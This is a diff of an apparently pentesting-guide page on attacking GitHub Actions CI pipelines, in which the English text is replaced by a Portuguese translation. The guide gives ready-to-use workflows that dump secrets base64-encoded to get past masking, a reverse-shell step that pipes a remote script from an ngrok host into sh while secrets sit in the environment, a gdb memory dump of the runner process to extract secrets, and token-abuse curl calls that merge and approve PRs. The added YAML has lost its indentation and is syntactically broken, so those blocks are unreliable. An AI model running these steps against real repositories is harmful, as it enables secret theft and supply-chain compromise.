- - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. -- **Execute code in custom workers** to abuse computing power and pivot to other systems. -- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. +- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP. +- **Comprometer implantações** e outros **artefatos**. +- Se o pipeline implanta ou armazena ativos, você poderia alterar o produto final, possibilitando um ataque à cadeia de suprimentos. +- **Executar código em trabalhadores personalizados** para abusar do poder computacional e pivotar para outros sistemas. +- **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o administrador habilita esta opção:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Este token é o mesmo que uma **Aplicação Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> O Github deve lançar um [**fluxo**](https://github.com/github/roadmap/issues/74) que **permita acesso entre repositórios** dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o `GITHUB_TOKEN`. -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Note que o token **expira após a conclusão do trabalho**.\ +Esses tokens se parecem com isso: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +Algumas coisas interessantes que você pode fazer com este token: {{#tabs }} {{#tab name="Merge PR" }} - ```bash # Merge PR curl -X PUT \ - https://api.github.com/repos///pulls//merge \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header "content-type: application/json" \ - -d "{\"commit_title\":\"commit_title\"}" +https://api.github.com/repos///pulls//merge \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header "content-type: application/json" \ +-d "{\"commit_title\":\"commit_title\"}" ``` - {{#endtab }} -{{#tab name="Approve PR" }} - +{{#tab name="Aprovar PR" }} ```bash # Approve a PR curl -X POST \ - https://api.github.com/repos///pulls//reviews \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - -d '{"event":"APPROVE"}' +https://api.github.com/repos///pulls//reviews \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +-d '{"event":"APPROVE"}' ``` - {{#endtab }} -{{#tab name="Create PR" }} - +{{#tab name="Criar PR" }} ```bash # Create a PR curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - https://api.github.com/repos///pulls \ - -d '{"head":"","base":"master", "title":"title"}' +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +https://api.github.com/repos///pulls \ +-d '{"head":"","base":"master", "title":"title"}' ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. +> Note que em várias ocasiões você poderá encontrar **tokens de usuário do github dentro das envs do Github Actions ou nos segredos**. Esses tokens podem lhe dar mais privilégios sobre o repositório e a organização.
-List secrets in Github Action output - +Listar segredos na saída do Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Obter shell reverso com segredos ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: +É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **verificando os logs** das ações:
-## Allowed Execution +## Execução Permitida > [!NOTE] -> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. +> Esta seria a maneira mais fácil de comprometer ações do Github, já que este caso supõe que você tenha acesso para **criar um novo repositório na organização**, ou tenha **privilegios de escrita sobre um repositório**. > -> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). +> Se você estiver nesse cenário, pode apenas verificar as [técnicas de Pós Exploração](./#post-exploitation-techniques-from-inside-an-action). -### Execution from Repo Creation +### Execução a partir da Criação de Repositório -In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. +Caso membros de uma organização possam **criar novos repositórios** e você possa executar ações do github, você pode **criar um novo repositório e roubar os segredos definidos no nível da organização**. -### Execution from a New Branch +### Execução a partir de um Novo Branch -If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). - -You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): +Se você puder **criar um novo branch em um repositório que já contém uma Ação do Github** configurada, você pode **modificá-la**, **carregar** o conteúdo e então **executar essa ação a partir do novo branch**. Dessa forma, você pode **exfiltrar segredos em nível de repositório e organização** (mas você precisa saber como eles são chamados). +Você pode tornar a ação modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser): ```yaml on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - master - push: # Run it when a push is made to a branch - branches: - - current_branch_name +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- master +push: # Run it when a push is made to a branch +branches: +- current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` - --- -## Forked Execution +## Execução Forked > [!NOTE] -> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. +> Existem diferentes gatilhos que poderiam permitir a um atacante **executar uma Github Action de outro repositório**. Se essas ações acionáveis forem mal configuradas, um atacante poderá comprometê-las. ### `pull_request` -The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: +O gatilho do fluxo de trabalho **`pull_request`** executará o fluxo de trabalho toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do fluxo de trabalho:
> [!NOTE] -> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. +> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e depois enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**. > -> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletou sua conta.~~ -Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Além disso, por padrão **impede permissões de escrita** e **acesso a segredos** no repositório alvo, conforme mencionado na [**documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um fluxo de trabalho é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**. -An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. +Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. No entanto, ele não poderá roubar segredos ou sobrescrever o repositório devido às limitações mencionadas. > [!CAUTION] -> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** +> **Sim, se o atacante mudar no PR a github action que será acionada, sua Github Action será a utilizada e não a do repositório de origem!** -As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. +Como o atacante também controla o código sendo executado, mesmo que não haja segredos ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **carregar artefatos maliciosos**. ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). +O gatilho do fluxo de trabalho **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão). -Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Note que o gatilho do fluxo de trabalho **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Além disso, para mais informações sobre esse uso específico perigoso, confira este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. +Pode parecer que, porque o **fluxo de trabalho executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**. -An this one will have **access to secrets**. +E este terá **acesso a segredos**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um fluxo de trabalho a partir de outro quando está `completo`, `solicitado` ou `em_andamento`. +Neste exemplo, um fluxo de trabalho é configurado para ser executado após a conclusão do fluxo de trabalho separado "Executar Testes": ```yaml on: - workflow_run: - workflows: [Run Tests] - types: - - completed +workflow_run: +workflows: [Run Tests] +types: +- completed ``` +Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento `workflow_run` é capaz de **acessar segredos e escrever tokens, mesmo que o fluxo de trabalho anterior não tenha**. -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. - -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **ativado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho ativado por **`workflow_run`** baixando o código dos atacantes: `${{ github.event.pull_request.head.sha }}`\ +O segundo consiste em **passar** um **artefato** do código **não confiável** para o fluxo de trabalho **`workflow_run`** e usar o conteúdo desse artefato de uma maneira que o torne **vulnerável a RCE**. ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do PR bifurcado -## Abusing Forked Execution +## Abusando da Execução Bifurcada -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +Mencionamos todas as maneiras que um atacante externo poderia conseguir fazer um fluxo de trabalho do github ser executado, agora vamos dar uma olhada em como essas execuções, se mal configuradas, poderiam ser abusadas: -### Untrusted checkout execution +### Execução de checkout não confiável -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request). +No caso de **`pull_request`,** o fluxo de trabalho será executado no **contexto do PR** (então executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](./#pull_request). -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser ativado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**. > [!CAUTION] -> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> No entanto, se a **ação** tiver um **checkout explícito do PR** que irá **obter o código do PR** (e não da base), ele usará o código controlado pelos atacantes. Por exemplo (ver linha 12 onde o código do PR é baixado): -
# INSECURE. Provided as an example only.
+
# INSECURE. Fornecido apenas como exemplo.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
     - uses: actions/checkout@v2
       with:
         ref: ${{ github.event.pull_request.head.sha }}
 
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+Thank you!
 
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`**, pois os scripts de build e os **pacotes referenciados são controlados pelo autor do PR**. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> Um dork do github para procurar ações vulneráveis é: `event.pull_request pull_request_target extension:yml`, no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura, mesmo que a ação esteja configurada de forma insegura (como usar condicionais sobre quem é o ator gerando o PR). -### Context Script Injections +### Injeções de Script de Contexto -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +Observe que existem certos [**contextos do github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlados** pelo **usuário** que cria o PR. Se a ação do github estiver usando esses **dados para executar qualquer coisa**, isso pode levar à **execução de código arbitrário:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **Injeção de Script GITHUB_ENV** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +De acordo com a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer etapas subsequentes** em um job de fluxo de trabalho definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**. -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +Se um atacante puder **injetar qualquer valor** dentro dessa variável **env**, ele poderá injetar variáveis de ambiente que poderiam executar código nas etapas seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**. -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +Por exemplo ([**este**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**este**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
-### Vulnerable Third Party Github Actions +### Ações do Github de Terceiros Vulneráveis #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +Como mencionado em [**este post do blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Ação do Github permite acessar artefatos de diferentes fluxos de trabalho e até mesmo repositórios. -The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. - -Example of vulnerable workflow: +O problema é que se o parâmetro **`path`** não estiver definido, o artefato é extraído no diretório atual e pode sobrescrever arquivos que poderiam ser usados ou até mesmo executados no fluxo de trabalho. Portanto, se o Artefato for vulnerável, um atacante poderia abusar disso para comprometer outros fluxos de trabalho que confiam no Artefato. +Exemplo de fluxo de trabalho vulnerável: ```yaml on: - workflow_run: - workflows: ["some workflow"] - types: - - completed +workflow_run: +workflows: ["some workflow"] +types: +- completed jobs: - success: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: download artifact - uses: dawidd6/action-download-artifact - with: - workflow: ${{ github.event.workflow_run.workflow_id }} - name: artifact - - run: python ./script.py - with: - name: artifact - path: ./script.py +success: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@v2 +- name: download artifact +uses: dawidd6/action-download-artifact +with: +workflow: ${{ github.event.workflow_run.workflow_id }} +name: artifact +- run: python ./script.py +with: +name: artifact +path: ./script.py ``` - -This could be attacked with this workflow: - +Isto pode ser atacado com este fluxo de trabalho: ```yaml name: "some workflow" on: pull_request jobs: - upload: - runs-on: ubuntu-latest - steps: - - run: echo "print('exploited')" > ./script.py - - uses actions/upload-artifact@v2 - with: - name: artifact - path: ./script.py +upload: +runs-on: ubuntu-latest +steps: +- run: echo "print('exploited')" > ./script.py +- uses actions/upload-artifact@v2 +with: +name: artifact +path: ./script.py ``` - --- -## Other External Access +## Outro Acesso Externo -### Deleted Namespace Repo Hijacking +### Sequestro de Repositório de Namespace Deletado -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse nome após algum tempo. Se um repositório tinha **menos de 100 estrelas antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repositório com o mesmo nome** que o deletado. > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a ação. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui está uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Repo Pivoting +## Pivotagem de Repositório > [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). +> Nesta seção, falaremos sobre técnicas que permitiriam **pivotar de um repositório para outro**, supondo que temos algum tipo de acesso ao primeiro (verifique a seção anterior). -### Cache Poisoning +### Envenenamento de Cache -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Um cache é mantido entre **execuções de workflow na mesma branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá **comprometer** também esse workflow. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact Poisoning +### Envenenamento de Artefato -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Workflows podem usar **artefatos de outros workflows e até repositórios**, se um atacante conseguir **comprometer** a Github Action que **faz o upload de um artefato** que é posteriormente usado por outro workflow, ele poderá **comprometer os outros workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## Pós Exploração de uma Ação -### Accessing AWS and GCP via OIDC +### Acessando AWS e GCP via OIDC -Check the following pages: +Verifique as seguintes páginas: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -408,170 +390,160 @@ Check the following pages: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### Acessando segredos -If you are injecting content into a script it's interesting to know how you can access secrets: +Se você estiver injetando conteúdo em um script, é interessante saber como você pode acessar segredos: -- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. +- Se o segredo ou token estiver definido como uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
-List secrets in Github Action output - +Listar segredos na saída da Github Action ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - '**' - push: # Run it when a push is made to a branch - branches: - - '**' +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- '**' +push: # Run it when a push is made to a branch +branches: +- '**' jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Obter shell reverso com segredos ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - - ```bash - cat /home/runner/work/_temp/* - ``` -- For a JavaScript actions the secrets and sent through environment variables - - ```bash - ps axe | grep node - ``` -- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: +- Se o segredo for usado **diretamente em uma expressão**, o script shell gerado é armazenado **em disco** e é acessível. +- ```bash +cat /home/runner/work/_temp/* +``` +- Para ações JavaScript, os segredos são enviados através de variáveis de ambiente. +- ```bash +ps axe | grep node +``` +- Para uma **ação personalizada**, o risco pode variar dependendo de como um programa está usando o segredo que obteve do **argumento**: - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +```yaml +uses: fakeaction/publish@v3 +with: +key: ${{ secrets.PUBLISH_KEY }} +``` -### Abusing Self-hosted runners +### Abusando de runners auto-hospedados -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não-Github** é procurar por **`runs-on: self-hosted`** na configuração yaml da Github Action. -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. - -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa poderia **roubar os segredos** da outra. +Em runners auto-hospedados, também é possível obter os **segredos do processo \_Runner.Listener**\_\*\* que conterá todos os segredos dos fluxos de trabalho em qualquer etapa, despejando sua memória: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` +Verifique [**este post para mais informações**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +### Registro de Imagens Docker do Github -### Github Docker Images Registry - -It's possible to make Github actions that will **build and store a Docker image inside Github**.\ -An example can be find in the following expandable: +É possível criar ações do Github que **construirão e armazenarão uma imagem Docker dentro do Github**.\ +Um exemplo pode ser encontrado no seguinte expansível:
